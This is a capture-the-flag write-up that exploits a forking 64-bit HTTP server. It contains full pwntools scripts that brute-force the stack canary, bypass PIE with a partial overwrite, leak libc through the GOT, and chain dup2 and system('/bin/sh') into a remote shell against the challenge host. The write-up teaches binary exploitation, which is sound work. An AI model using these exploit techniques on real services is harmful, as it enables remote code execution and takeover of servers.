Select Page
  1. Description
  2. Leaking stack canary
  3. Bypassing PIE
  4. Leaking libc base address
  5. Getting a shell
  6. Conlusion


1. Description

OK so this is a 304pt PWN challenge. You can still play it here (Jan. 21th, 2020).

peilin@PWN:~/contrailctf/instant_httpserver$ file instant_httpserver
instant_httpserver: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=d833632e90392bdd4c0fd7abdd1cc75853f33dcc, stripped
peilin@PWN:~/contrailctf/instant_httpserver$ file libc.so.6
libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/l, BuildID[sha1]=b417c0ba7cc5cf06d1d1bed6652cedb9253c60d0, for GNU/Linux 3.2.0, stripped

libc.so.6 is given.

gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL

OK, this is pretty scary. Let’s do it!

As its name suggests, it is a simple HTTP server receiving HTTP requests. Let’s run a copy of it locally and see what it does.

peilin@PWN:~/contrailctf/instant_httpserver$ netstat -a | grep 4445
tcp      0      0 0.0.0.0:4445      0.0.0.0:*      LISTEN

It listens on port 4445.

All requests beginning with GET are considered as legitimate requests. Upon receiving legitimate requests, the server responses with something like:

[+] Receiving all data: Done (127B)
[DEBUG] Received 0x11 bytes:
‘HTTP/1.1 200 OK\r\n’
[DEBUG] Received 0x38 bytes:
‘Server: instant_httpserver\r\n’
‘\r\n’
‘<html>Your Req Length is 3’
[DEBUG] Received 0x36 bytes:
‘<br /><br /><hr><I>instant_httpserver — localhost</I>’
[*] Closed connection to 127.0.0.1 port 4445

And the server side prints HTTP/1.1 200 OK to stdout.

peilin@PWN:~/contrailctf/instant_httpserver$ ./instant_httpserver
HTTP/1.1 200 OK

So the very first thing we want to do is to send it a very long request, right? 🙂

It turns out that if we send a request longer than 520 bytes, something will go wrong:

peilin@PWN:~/contrailctf/instant_httpserver$ ./instant_httpserver
HTTP/1.1 200 OK
*** stack smashing detected ***: <unknown> terminated

We’ve messed up with the stack canary. Meanwhile, the client side will receive something different:

[+] Receiving all data: Done (75B)
[DEBUG] Received 0x11 bytes:
‘HTTP/1.1 200 OK\r\n’
[DEBUG] Received 0x3a bytes:
‘Server: instant_httpserver\r\n’
‘\r\n’
‘<html>Your Req Length is 534’
[*] Closed connection to 127.0.0.1 port 4445

For now, let’s just don’t worry about why it says my Req Length is 534 (I only sent 521 bytes). The sure thing here is, if we crash the canary, we will receive a response without this line: <br /><br /><hr><I>instant_httpserver -- localhost</I>. By that, we can tell if we’ve crashed the canary or not.


2. Leaking stack canary

The server fork()s a new process upon accept()ing an incoming connection. This means   that the canary will remain the same during server’s lifetime, which means it is leakable.

The plan is: We guess the canary one byte at a time. As mentioned, a wrong guess will be responded without that HTML thing, so we can tell if we guessed right or not.

Here’s the code:

#!/usr/bin/env python
from pwn import *

context.log_level = "DEBUG"

host = "127.0.0.1"
# host = '114.177.250.4'
port = 4445

prefix  = "GET"
prefix += "A" * 517

canary = ""
guess = 0

while (len(canary) < 8):
    c = connect(host, port)
    payload  = prefix
    payload += canary
    payload += p8(guess)
    c.send(payload)
    resp = c.recvall()
    if "<br /><br /><hr><I>instant_httpserver -- localhost</I>" in resp:
        print("bingo!")
        c.close()
        canary += p8(guess)
        guess = 0
        continue
    else:
        c.close()
        guess += 1
        continue

print("canary: 0x%s" % "".join(x.encode("hex") for x in canary))

Let’s check it out:

canary: 0x0036f8a638eb6478

Perfect.


3. Bypassing PIE

Time to read some disassembly.

0x00000b7c 488d8df0fdff. lea rcx, [var_210h]
0x00000b83 8b859cfdffff  mov eax, dword [var_264h]
0x00000b89 ba00040000    mov edx, 0x400        ; size_t nbyte
0x00000b8e 4889ce        mov rsi, rcx          ; void *buf
0x00000b91 89c7          mov edi, eax          ; int fildes
0x00000b93 e888fdffff    call sym.imp.read     ; ssize_t read(int fildes, void *buf, size_t nbyte)

Let’s call it function B.

In function B we see a very obvious buffer overflow vulnerability: a read() trying to read up to 0x400 bytes into a var_210h buffer. In radare2 notation, var_210h simply means rbp-0x210.

To conclude, 520 bytes to reach the canary, 8 more bytes to forge the canary, 8 more bytes to overwrite saved rbp, and finally 8 more bytes to overwrite the return address.

So…where to jump? We have to somehow leak the base address of the main executable in furtherance of doing more.

Let’s first take a look at who called function B:

0x00000dc5 e810fdffff    call fcn.00000ada
0x00000dca 488d3d4f1220. lea rdi, str.br____br____hr__I_instant_httpserver____localhost__I ; 0x202020 ; “<br /><br /><hr><I>instant_httpserver — localhost</I>” ; const char *s
0x00000dd1 e8fafaffff    call sym.imp.strlen      ; size_t strlen(const char *s)
0x00000dd6 4889c2        mov rdx, rax             ; size_t nbytes
0x00000dd9 8b45c4        mov eax, dword [var_3ch]
0x00000ddc 488d353d1220. lea rsi, str.br____br____hr__I_instant_httpserver____localhost__I ; 0x202020 ; “<br /><br /><hr><I>instant_httpserver — localhost</I>” ; const char *ptr
0x00000de3 89c7          mov edi, eax             ; int fd
0x00000de5 e8d6faffff    call sym.imp.write       ; ssize_t write(int fd, const char *ptr, size_t nbytes)

Where fcn.00000ada is our function B. Let’s call the caller function A.

Notice that upon successfully returning from B, <br /><br /><hr><I>instant_httpserver -- localhost</I> is sent to the client. This explains why we receive responses without this line if we crash the canary in function B.

Anyway, after calling B, the address of the next instruction (at offset 0xdca) is pushed onto stack as the return address. Note that since ASLR won’t change the least 12 significant bits of addresses, the return address will always be something like 0x?????????????dca. We can leverage this fact.

More precisely, we can do a partial overwrite. By overwriting the very last byte of return address we can jump to whatever 0xd?? addresses in function A.

So, where? 🙂

The last thing function B does before checking the canary, is sending the server response:

0x00000c70 488d85f0fdff. lea rax, [var_210h]
0x00000c77 4889c7        mov rdi, rax                  ; const char *s
0x00000c7a e851fcffff    call sym.imp.strlen           ; size_t strlen(const char *s)
0x00000c7f 4889c2        mov rdx, rax                  ; size_t nbytes
0x00000c82 488d8df0fdff. lea rcx, [var_210h]
0x00000c89 8b859cfdffff  mov eax, dword [var_264h]
0x00000c8f 4889ce        mov rsi, rcx                  ; const char *ptr
0x00000c92 89c7          mov edi, eax                  ; int fd
0x00000c94 e827fcffff    call sym.imp.write            ; ssize_t write(int fd, const char *ptr, size_t nbytes)
0x00000c99 b800000000    mov eax, 0
0x00000c9e 488b4df8      mov rcx, qword [var_8h]
0x00000ca2 6448330c2528. xor rcx, qword fs:[0x28]
0x00000cab 7405          je 0xcb2
0x00000cad e82efcffff    call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
0x00000cb2 c9            leave
0x00000cb3 c3            ret

Remember? This:

[DEBUG] Received 0x38 bytes:
‘Server: instant_httpserver\r\n’
‘\r\n’
‘<html>Your Req Length is 3’

And at the time it returns, all three parameters for write(int fd, const char *ptr, size_t nbytes) remain the same. Take a careful look at the disassembly if you don’t believe me. Also note that rdi, rsi and rdx are all callee-saved registers.

This means that if we can call another write() in function A, the client should receive another copy of that Server: instant_httpserver\r\n… response. And there it is, at offset 0xde5:

0x00000de5 e8d6faffff call sym.imp.write ; ssize_t write(int fd, const char *ptr, size_t nbytes)

OK. The plan is, similar to how we did to leak the canary: With the least significant byte set to \xe5, we guess the address of that call write instruction one byte at a time. If we guessed right, we will receive that Server: instant_httpserver\r\n… response twice; If wrong, only once. Let’s test it:

[DEBUG] Received 0x85 bytes:
‘HTTP/1.1 200 OK\r\n’
‘Server: instant_httpserver\r\n’
‘\r\n’
‘<html>Your Req Length is 520Server: instant_httpserver\r\n’
‘\r\n’
‘<html>Your Req Length is 520’

Nice.

One may ask that what if we hit another call write? I have manually checked that 0xde5 is the first 0x*e5 address in the binary that is a call write. So, as long as we guess it incrementally from 0, we won’t hit another call write.

So here’s my script:

#!/usr/bin/env python
from pwn import *

context.log_level = "DEBUG"

host = "127.0.0.1"
port = 4445

prefix  = "GET"
prefix += "A" * 517

canary = 0x0036f8a638eb6478

prefix += p64(canary, endian="big")
prefix += "B" * 8

guess = 0
text_base = "\xe5"

while (len(text_base) < 6):
    payload  = prefix
    payload += text_base
    payload += p8(guess)

    c = connect(host, port)
    c.send(payload)
    resp = c.recvall(timeout=3.0)

    if resp.count("Server: instant_httpserver") > 1:
        print("bingo!")
        c.close()
        text_base += p8(guess)
        guess = 0
        continue
    else:
        c.close()
        guess += 1
        continue

print("text base address: %s" % hex(u64(text_base + "\x00\x00") - 0xde5))
text base address: 0x55b47b469000

Perfect.


4. Leaking libc base address

We are already familiar with this step. Remember at the end of function B, rdi will be the fd of our client socket, and rdx will be the length of the server response, which is large enough for us to leak an 8 byte address from GOT. So the only thing we need to do is to simply set rsi to a GOT entry, and invoke write().

Here’s the code:

#!/usr/bin/env python
from pwn import *
import time

context.log_level = "DEBUG"

host = "127.0.0.1"
port = 4445

canary = 0x0036f8a638eb6478
text_base = 0x55b47b469000

e = ELF("./instant_httpserver")

pop_rsi_pop_r15_ret = text_base + 0xe91

write_got = text_base + e.got["write"]
write_plt = text_base + e.plt["write"]

payload  = "GET"
payload += "A" * 517
payload += p64(canary, endian="big")
payload += "B" * 8

payload += p64(pop_rsi_pop_r15_ret)
payload += p64(write_got)
payload += p64(0xdeadbeefcafebabe)
payload += p64(write_plt)

c = connect(host, port)
c.send(payload)
c.recvuntil("520")

resp = c.recvall()

l = ELF("./libc.so.6")
write_ofs = l.symbols["write"]

print("libc base address: %s" % hex(u64(resp[:6] + "\x00\x00") - write_ofs))

c.close()

Let’s see:

libc base address: 0x7f9f7168c000

Good. One step at a time.


5. Getting a shell

One thing to notice. Since the stdio of the server side is not connected with the client side, if we simply do system(“/bin/sh”), we will pop a shell for the server side, not for us. We have to think of a way to redirect stdio to our socket through the Internet. We do so by using dup2().

int dup2(int oldfd, int newfd);

The plan is to do dup2(our_socket, 0) and dup2(our_socket, 1) before trying to get a shell, so that the popped shell will be talking to us through the Internet instead. Remember when returning from function B, our socket fd is still in rdi, so this is a fairly easy task.

Here’s the code:

#!/usr/bin/env python
from pwn import *

context.log_level = "DEBUG"

host = "127.0.0.1"
port = 4445

canary = 0x0036f8a638eb6478
text_base = 0x55b47b469000
libc_base = 0x7f9f7168c000

e = ELF("./instant_httpserver")
l = ELF("./libc.so.6")

pop_rsi_pop_r15_ret = text_base + 0xe91
pop_rdi_ret         = text_base + 0xe93
ret                 = text_base + 0xe94

write_got = text_base + e.got["write"]
write_plt = text_base + e.plt["write"]

bin_sh_libc = libc_base + list(l.search("/bin/sh"))[0]
system_libc = libc_base + l.symbols["system"]
dup2_libc = libc_base + l.synbols["dup2"]

prefix  = "GET"
prefix += "A" * 517

payload  = prefix
payload += p64(canary, endian="big")
payload += p64(0xdeadbeefcafebabe)

payload += p64(pop_rsi_pop_r15_ret)
payload += p64(1)
payload += p64(0xdeadbeefcafebabe)
payload += p64(dup2_libc)
payload += p64(pop_rsi_pop_r15_ret)
payload += p64(0)
payload += p64(0xdeadbeefcafebabe)
payload += p64(dup2_libc)
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_libc)
payload += p64(system_libc)

c = connect(host, port)
c.send(payload)

c.interactive()

c.close()

As always, one more ret to bypass the movaps issue.

Let’s see:

[*] Switching to interactive mode
[DEBUG] Received 0x4b bytes:
‘HTTP/1.1 200 OK\r\n’
‘Server: instant_httpserver\r\n’
‘\r\n’
‘<html>Your Req Length is 520’
HTTP/1.1 200 OK
Server: instant_httpserver

<html>Your Req Length is 520$ whoami
[DEBUG] Sent 0x7 bytes:
‘whoami\n’
[DEBUG] Received 0x7 bytes:
‘peilin\n’
peilin

Very good.


6. Conclusion

After combining all previous steps, as well as changing target from local one to the “real” challenge server, here’s my final exp:

#!/usr/bin/env python
from pwn import *

context.log_level = "DEBUG"

host = "114.177.250.4"
port = 4445

prefix  = "GET"
prefix += "A" * 517

e = ELF("./instant_httpserver")
l = ELF("./libc.so.6")

def leak_canary():
    canary = ""
    guess = 0

    while (len(canary) < 8):
        c = connect(host, port)
        payload  = prefix
        payload += canary
        payload += p8(guess)
        c.send(payload)
        resp = c.recvall()
        
        if "<br /><br /><hr><I>instant_httpserver -- localhost</I>" in resp:
            # bingo!
            c.close()
            canary += p8(guess)
            guess = 0
            continue
        else:
            c.close()
            guess += 1
            continue

    print("canary: 0x%s" % "".join(x.encode("hex") for x in canary))
    return u64(canary, endian="big")

def leak_text_base(canary):
    text_base = "\xe5"
    guess = 0

    while (len(text_base) < 6):
        payload  = prefix
        payload += p64(canary, endian="big")
        payload += p64(0xdeadbeefcafebabe) 
        payload += text_base
        payload += p8(guess)

        c = connect(host, port)
        c.send(payload)
        resp = c.recvall()

        if resp.count("Server: instant_httpserver") > 1:
            # bingo!
            c.close()
            text_base += p8(guess)
            guess = 0
            continue
        else:
            c.close()
            guess += 1
            continue

    text_base  = u64(text_base + "\x00\x00") - 0xde5
    print("text_base: %s" % hex(text_base))
    return text_base 

def leak_libc_base(canary, text_base):
    payload  = prefix 
    payload += p64(canary, endian="big")
    payload += p64(0xdeadbeefcafebabe) 

    payload += p64(pop_rsi_pop_r15_ret)
    payload += p64(write_got)
    payload += p64(0xdeadbeefcafebabe)
    payload += p64(write_plt)

    c = connect(host, port)
    c.send(payload)
    c.recvuntil("520")

    resp = c.recvall()

    write_libc = u64(resp[:6] + "\x00\x00")
    libc_base = write_libc - l.symbols["write"]
    print("libc: %s" % hex(libc_base))
    return libc_base

def get_shell(canary, text_base, libc_base):
    payload  = prefix
    payload += p64(canary, endian="big")
    payload += p64(0xdeadbeefcafebabe) 

    payload += p64(pop_rsi_pop_r15_ret)
    payload += p64(1)
    payload += p64(0xdeadbeefcafebabe)
    payload += p64(dup2_libc)
    payload += p64(pop_rsi_pop_r15_ret)
    payload += p64(0)
    payload += p64(0xdeadbeefcafebabe)
    payload += p64(dup2_libc)
    payload += p64(ret)
    payload += p64(pop_rdi_ret)
    payload += p64(binsh_libc)
    payload += p64(system_libc)

    c = connect(host, port)
    c.send(payload)
    
    c.interactive()
    c.close()

# 1. leak canary
canary = leak_canary()

# 2. leak text base address
text_base = leak_text_base(canary)

# 3. leak libc base address
pop_rsi_pop_r15_ret = text_base + 0xe91
pop_rdi_ret         = text_base + 0xe93
ret                 = text_base + 0xe94

write_got = text_base + e.got["write"]
write_plt = text_base + e.plt["write"]

libc_base = leak_libc_base(canary, text_base)

# 4. get a shell
binsh_libc  = libc_base + list(l.search("/bin/sh"))[0]
system_libc = libc_base + l.symbols["system"]
dup2_libc   = libc_base + l.symbols["dup2"]

get_shell(canary, text_base, libc_base)

So that’s it! It was a very nice experience playing with canary and PIE.